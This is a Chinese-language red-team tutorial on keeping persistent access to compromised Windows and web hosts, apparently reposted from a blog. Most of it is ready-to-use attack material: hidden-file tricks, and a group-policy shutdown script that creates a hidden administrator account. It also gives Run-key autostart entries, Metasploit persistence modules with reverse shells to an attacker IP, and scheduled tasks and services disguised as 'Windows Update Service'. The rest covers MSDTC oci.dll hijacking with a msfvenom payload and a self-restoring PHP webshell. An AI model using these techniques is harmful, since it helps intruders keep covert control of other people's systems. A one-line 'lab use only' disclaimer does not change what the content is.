一、文件层面
1)attrib
使用 Attrib +s +a +h +r 命令
s:设置系统属性(System) a:设置存档属性(Archive) h:设置隐藏属性(Hidden)
r:设置只读属性(Read-only)
| attrib +s +a +h +r c:\test |
命令执行后,我们并看不到 test 目录,但是他是存在的,也是可以进入的
想要看到,就把对应的属性删掉
test 文件夹显示出来了
2)系统图标隐藏
可以把文件夹的名称重命名为 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
图标变成了我的电脑,双击也是可以到达我的电脑,不能进入查看我们文件夹的内容
但是命令行里可以看到文件夹,也能进入并查看文件夹里的内容
常用的文件夹名称
| 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
| 回收站.{645ff040-5081-101b-9f08-00aa002f954e} |
| 拔号网络.{992CFFA0-F557-101A-88EC-00DD010CCC48} |
| 打印机.{2227a280-3aea-1069-a2de-08002b30309d} |
| 控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d} |
| 网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D} |
3)畸形名称
创建文件名称为 test...\
显示名称是 test...
这个文件可以看到,但是不能访问内部文件,也不能删除。
| md test...\ |
| copy 1111.txt test...\ |
在交互界面删除,显示找不到项目 无法删除
打开里面文件 也会报错 不让查看
要想删除只能执行
4)驱动级文件隐藏
驱动隐藏最典型的现象就是系统盘中存在以下文件:
| c:\WINDOWS\xlkfs.dat |
| c:\WINDOWS\xlkfs.dll |
| c:\WINDOWS\xlkfs.ini |
| c:\WINDOWS\system32\drivers\xlkfs.sys |
驱动隐藏我们可以用 EasyFileLocker 实现
下载链接: https://pan.baidu.com/s/1h2_k1picYeinpz3XtI8ypA?pwd = 141d
提取码: 141d
可以选择属性,实现文件的隐藏
要想删除
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
二、组策略
组策略后门更加隐蔽,在 gpedit.msc 中,可以在计算机完成对应操作时自动执行。比如关机操作
| echo off |
| net user lingx5$ 1234 /add |
| net localgroup administrators lingx5$ /add |
| exit |
把这段复制到 user.bat中
这个脚本就是在操作系统中添加一个 lingx5 $: 1234 的用户,并把lingx5
这个用户添加到administrators
用户组,以$
符号结尾的用户就是我们常说的影子用户(隐藏用户),对于一般的用户来说,很难发现这个用户名,即使他发现并删除了用户,在下一次关机时,我们注入的组策略还会执行,会再次创建这个用户。
win+r打开输入gpedit.msc-->定位到"计算机配置一>Windows设置一>脚本(启动/关机)"
在关机属性中添加
重启计算机
添加成功了,并且 net user命令是无法查看的
组策略不只能添加用户进行维权,攻击者还可以把一些恶意的脚本或程序通过组策略来运行,也可以嗅探管理员的密码等。
三、注册表
1) 手动添加
注册表也是攻击者常用的维权手段,因为注册表的信息是庞大的,所以在注册表里的信息会更加隐蔽,并且难以排查。
reg add
:是用于添加或修改注册表项的命令。
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
:指定了要操作的注册表路径,这个路径是用于存储当前用户的自启动程序信息的位置。
/v loaclUser
:设置要添加的注册表项的名称为 “loaclUser”。(可以自定义)
/t REG_SZ
:指定注册表项的数据类型为字符串类型(REG_SZ)。
/d "C:\Users\tmp\NET.exe"
:设置注册表项的值为 “C:\Users\tmp\NET.exe”,即指定自启动程序的路径为这个可执行文件。(这里制定我们的木马,后门程序)
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
另外两个注册表位置,这些位置可以允许攻击者通过执行任意有效负载或DLL来实现持久性。这些将在登 录期间执行,并且需要管理员级别的特权。
| reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v |
| loaclUser /t REG_SZ /d "C:\tmp\NET.exe" |
|
|
| reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep |
| end" /v loaclUser /t REG_SZ /d "C:\tmp\NET.dll" |
2)meterpreter持久化
a) persistence模块
当然在meterpreter中也有自动化添加的模块,当机器上线我们的msf时,可以使用persistence这个模块
| meterpreter > background |
| [*] Backgrounding session 1... |
| msf6 exploit(multi/handler) > use exploit/windows/local/persistence |
| [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp |
| msf6 exploit(windows/local/persistence) > set payload windows/x64/meterpreter/reverse_tcp |
| payload => windows/x64/meterpreter/reverse_tcp |
| msf6 exploit(windows/local/persistence) > set session 1 |
| session => 1 |
| msf6 exploit(windows/local/persistence) > set lhost 192.168.84.128 |
| lhost => 192.168.84.128 |
| msf6 exploit(windows/local/persistence) > set lport 4444 |
| lport => 4444 |
| msf6 exploit(windows/local/persistence) > set startup USER |
| startup => USER |
| msf6 exploit(windows/local/persistence) > run |
|
|
| [*] Running persistent module against DESKTOP-906JKQ3 via session ID: 1 |
| [+] Persistent VBS script written on DESKTOP-906JKQ3 to C:\Users\lingx5\AppData\Local\Temp\UNlzRVY.vbs |
| [*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi |
| [+] Installed autorun on DESKTOP-906JKQ3 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi |
| [*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.3418/DESKTOP-906JKQ3_20240827.3418.rc |
| msf6 exploit(windows/local/persistence) > |
在meterpreter里用background命令,使用windows/local/persistence
模块指定session的id和设置参数,在tmp目录下生成vbs脚本,并自动添加注册表任务
只需要在kali里监听,等待目标登陆就可以连接
这种有一种弊端,就是程序不是我们自己做完免杀的,很容易被杀毒软件杀掉,导致木马没办法上线
b) persistence_exe 模块
| meterpreter > background |
| [*] Backgrounding session 1... |
| msf6 exploit(multi/handler) > use post/windows/manage/persistence_exe |
| msf6 post(windows/manage/persistence_exe) > set session 1 |
| session => 1 |
| msf6 post(windows/manage/persistence_exe) > set rexepath /opt/win_exp/win_exp.exe |
| rexepath => /opt/win_exp/win_exp.exe |
| msf6 post(windows/manage/persistence_exe) > set rexename shell.exe |
| rexename => shell.exe |
| msf6 post(windows/manage/persistence_exe) > run |
|
|
| [*] Running module against DESKTOP-906JKQ3 |
| [*] Reading Payload from file /opt/win_exp/win_exp.exe |
| [+] Persistent Script written to C:\Users\lingx5\AppData\Local\Temp\shell.exe |
| [*] Executing script C:\Users\lingx5\AppData\Local\Temp\shell.exe |
| [+] Agent executed with PID 2076 |
| [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS |
| [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS |
| [*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.0058/DESKTOP-906JKQ3_20240827.0058.rc |
| [*] Post module execution completed |
| msf6 post(windows/manage/persistence_exe) > |
rexepath指定把本地的做好免杀的/opt/win_exp/win_exp.exe
rexename指定上传的文件名称(一般都是系统的服务名称,比较难被察觉的),默认的文件目录是%TEMP%目录
缺点就是不能指定上传文件的路径,不能够很好的隐藏。
还是推荐用upload上传上去,手动添加注册表等进行维权
c) WMI 持久化
| msf6 exploit(windows/local/wmi_persistence) > show options |
| Module options (exploit/windows/local/wmi_persistence): |
| Name Current Setting Required Description |
| |
| CALLBACK_INTERVAL 1800000 yes Time between callbacks (In milliseconds). (Default: 1800000). |
| CLASSNAME UPDATER yes WMI event class name. (Default: UPDATER) |
| EVENT_ID_TRIGGER 4624 yes Event ID to trigger the payload. (Default: 4625) |
| PERSISTENCE_METHOD EVENT yes Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAIT |
| FOR) |
| PROCESS_TRIGGER CALC.EXE yes The process name to trigger the payload. (Default: CALC.EXE) |
| SESSION 1 yes The session to run this module on |
| USERNAME_TRIGGER BOB yes The username to trigger the payload. (Default: BOB) |
| WAITFOR_TRIGGER CALL yes The word to trigger the payload. (Default: CALL) |
| Payload options (windows/meterpreter/reverse_tcp): |
|
|
| Name Current Setting Required Description |
| |
| EXITFUNC process yes Exit technique (Accepted: '',seh,thread,process, none) |
| LHOST 192.168.84.128 yes The listen address (an interface may bespecified) |
| LPORT 4444 yes The listen port |
| **DisablePayloadHandler: True (no handler will be created!)** |
参数介绍:
CALLBACK_INTERVAL
: 指定回调的间隔时间,单位是毫秒。默认为 1800000 毫秒(30 分钟),表示每 30 分钟触发一次持久化的 Payload。
CLASSNAME
: WMI 事件类的名称。这个名称在目标系统中用于标识该持久化任务。默认为 UPDATER
,你可以更改为其他不引人注意的名称。
EVENT_ID_TRIGGER
: 指定哪个事件 ID 触发 Payload。默认是 4625
,这是 Windows 日志中常见的登录失败事件。你可以根据需求修改为其他事件 ID(如成功登录的事件 ID 4624
)来更灵活地触发 Payload。
PERSISTENCE_METHOD
: 选择持久化的触发方法。以下是几种可用的触发方法:
EVENT
: 基于事件 ID 触发(如登录失败事件)。
INTERVAL
: 定期触发(基于 CALLBACK_INTERVAL
)。
LOGON
: 当用户登录时触发。
PROCESS
: 当指定的进程启动时触发(如 calc.exe
)。
WAITFOR
: 当系统等待某个特定的关键词时触发。
PROCESS_TRIGGER
: 只有在 PERSISTENCE_METHOD
设置为 PROCESS
时有效,指定要监控的进程名称。当这个进程启动时,Payload 会被触发。默认是 CALC.EXE
,你可以更改为你希望监控的其他合法进程。
SESSION
: 你要在其上运行该模块的目标会话(session ID)。这个参数必须设置。
USERNAME_TRIGGER
: 只有在 PERSISTENCE_METHOD
设置为 LOGON
时有效,指定哪个用户名登录时触发 Payload。默认是 BOB
,你可以更改为目标系统中的实际用户名。
WAITFOR_TRIGGER
: 只有在 PERSISTENCE_METHOD
设置为 WAITFOR
时有效,指定触发 Payload 的关键词。默认是 CALL
。
Payload 选项 (windows/x64/meterpreter/reverse_tcp
)
EXITFUNC
: 指定退出的方式:
LHOST
: 你的攻击机的监听地址(IP)。这是目标系统回连的地址,通常是你的本地 IP 或 VPS IP。
LPORT
: 你的攻击机的监听端口。目标系统回连时会连接到这个端口。
DisablePayloadHandler
: 如果设置为 True
,Metasploit 不会自动启动 Payload 的监听(Handler)。这通常用于在已经运行其他监听器时避免冲突。
示例
| use windows/local/wmi_persistence |
| set session 1 |
| set persistence_method EVENT |
| set event_id_trigger 4624 |
| set payload windows/x64/meterpreter/reverse_tcp |
| set lhost 192.168.84.128 |
| set lport 4444 |
| run |
不过需要注意的是:我们要用此模块,我们得获得目标系统的admin权限
d) 添加用户
post/windows/manage/add_user
创建一个具有管理员权限的隐藏用户,以便以后重新访问。
| use post/linux/manage/add_user |
| set session 1 |
| set USER test |
| set PASS 1234 |
| run |
我这里是普通用户的权限,所以没有添加成功
也得需要获得的权限有添加用户的权限,才能成功添加。
e) 创建服务
persistence_service
这个模块可以创建新的服务,来达到权限维持的目的
| use exploit/windows/local/persistence_service |
|
|
| set SESSION 1 |
| set PAYLOAD windows/x64/meterpreter/reverse_tcp |
| set LHOST 192.168.84.128 |
| set LPORT 4444 |
| set REMOTE_EXE_NAME systemupdate.exe |
| set SERVICE_NAME WindowsUpdateService |
| set SERVICE_DISPLAY_NAME "Windows Update Service" |
| set SERVICE_DESCRIPTION "Provides updates for the Windows operating system." |
| set STARTUP auto |
|
|
| run |
需要管理员权限
四、计划任务
Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执 行程序或脚本。
这种行为可作为一种持久性机制被攻击者利用。通过计划任务执行持久性不需要管理 员权限,但如果已获得提
升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。
SCHTASKS
是 Windows 中的一个内置命令行工具,可以用于创建、删除和管理计划任务。
| schtasks /create /tn "Windows Update Service" /tr "C:\Windows\System32\shell.exe" /sc onlogon /ru "SYSTEM" |
参数解释:
/create
: 创建一个新的任务。
/tn "Windows Update Service"
: 任务名称(这里伪装成“Windows Update Service”)。
/tr "C:\Windows\System32\backdoor.exe"
: 任务要执行的程序路径。
/sc onlogon
: 任务的触发器,这里设置为在用户登录时触发(你还可以设置其他触发条件,如系统启动 /sc onstart
)。
/ru "SYSTEM"
: 以 SYSTEM 权限运行该任务(这通常用于确保高权限执行)。
常见触发条件:
/sc minute
: 每隔几分钟执行一次。
/sc daily
: 每天执行。
/sc onstart
: 在系统启动时执行。
/sc onlogon
: 在用户登录时执行。
验证:
| schtasks /query /tn "Windows Update Service" |
五、创建服务
如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提 升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动 中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立SOC能力,以识别在其恶意软件中使用基本技术的威胁。
| sc create ServiceName binPath= "C:\Path\To\Your\Backdoor.exe" start= auto |
PowerShell创建新服务
| New-Service -Name "SystemUpdate" -BinaryPathName "C:\temp\shell.exe" -Description "systemupdate" -StartupType Automatic |
|
|
| sc start pentestlab |
六、内存⻢
内存马是无文件攻击的一种形式。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,WMl 和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。
内存马不会有文件落地,很难被流量监测系统检测到,所以很难发现和排查
原理
内存注入:
挂钩(Hooking)关键组件:
分类
1.servlet-api型 :通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马
2.字节码增强型: 通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
常见的就是java的内存马了,这与java请求处理的过程有关:
| 客户端发起一个http请求,比如get类型。 |
| Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。 |
| Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。 |
| Servlet容器调用service()方法。 |
| service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。 |
| doGet方法中是我们自己写的业务逻辑。 |
| 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。 |
| 容器关闭时候,会调用destory方法 |
我们在doGet方法中,我们写入恶意的代码,他就会被servlet容器加载到系统内存中,从而达到内存马注入的目的
实现
以tomcat的servletAPI型内存⻢为例讲一下内存⻢的实现。
创建一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到
StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。
0x00劫持后门
但是内存马仍有缺点:一但容器或者服务关闭重启,就会调用destory()方法,杀死内存马,并由jvm的垃圾回收机制回收
七、劫持后门
MSDTC简介
msdtc.exe是微软分布式传输协调程序。该进程调用系统Microsoft Personal Web Server和Microsoft SQL
Server。该服务用于管理多个服务器。
msdtc.exe是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源管理器,删除
要小心。
对应服务MSDTC,全称Distributed Transaction Coordinator,Windows系统默认启动该服务
对应进程msdtc.exe,位于%windir%system32
原理
当Windows操作系统启动Microsoft分布式事务处理协调器(MSDTC)服务时,攻击便开始了,该服务可协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。当目标计算机加入域时,一旦MSDTC服务启动,它将搜索注册表。当计算机加入域中,MSDTC服务启动时,会搜索注册表
| HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftMSDTC\MTxOCI |
MSDTC服务中的MTxOCI组件搜索三个DLL:oci.dll,SQLLib80.dll和xa80.dll。Windows系统默认不包含oci.dll,我们自己写一个恶意的oci.dll,并将其放置在%SystemRoot%\ system32 \
中。oci.dll就绪,使用远程作业命令杀死MSDTC服务(taskkill / im msdtc.exe / f),从而导致MSDTC重新加载自身。但是,这一次它将查找并找到oci.dll。这时候就会利于这个服务把我们的后门dll拉起来。
实现
成dll木⻢文件
| msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f dll >oci.dll |
将刚才生成的 oci.dll 上传到目标机器的 C:\Windows\System32 目录下
| upload oci.dll C:\Windows |
| shell |
| C:\Windows>move oci.dll c:\Windows\System32 |
oci.dll放入system32 重启msdtc服务
| taskkill /f /im msdtc.exe |
重启msdtc
八、不死马
原理
持久驻留:ignore_user_abort(true)
和set_time_limit(0)
允许脚本在后台持续运行,即使用户关闭浏览器,脚本仍会继续执行。
文件恢复:脚本会定期检查WebShell文件是否存在,如果被删除,会重新生成。
隐藏位置:攻击者通常会将WebShell隐藏在不易被注意到的目录或文件中,以避免被管理员发现。
简单理解,就是有点像内存马递归调用,实现功能不再是远程连接攻击机,而是写了一个写木马文件的操做。在排查人员通过日志排查到木马文件时,会删除木马文件。这时排查人员以为机器安全了,但是,过了一段时间,不死马再次被内存调用,生成木马文件。已达到权限维持的目的
PHP不死马示例
| <?php |
| |
| $shell_code = '<?php @eval($_POST["cmd"]); ?>'; |
|
|
| |
| $file_path = __DIR__ . '/backdoor.php'; |
|
|
| |
| if (!file_exists($file_path)) { |
| file_put_contents($file_path, $shell_code); |
| } |
|
|
| |
| ignore_user_abort(true); |
| set_time_limit(0); |
|
|
| while (true) { |
| |
| if (!file_exists($file_path)) { |
| file_put_contents($file_path, $shell_code); |
| } |
| sleep(600); |
| } |
本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。
转自https://www.cnblogs.com/LINGX5/p/18383342
该文章在 2024/11/25 10:09:36 编辑过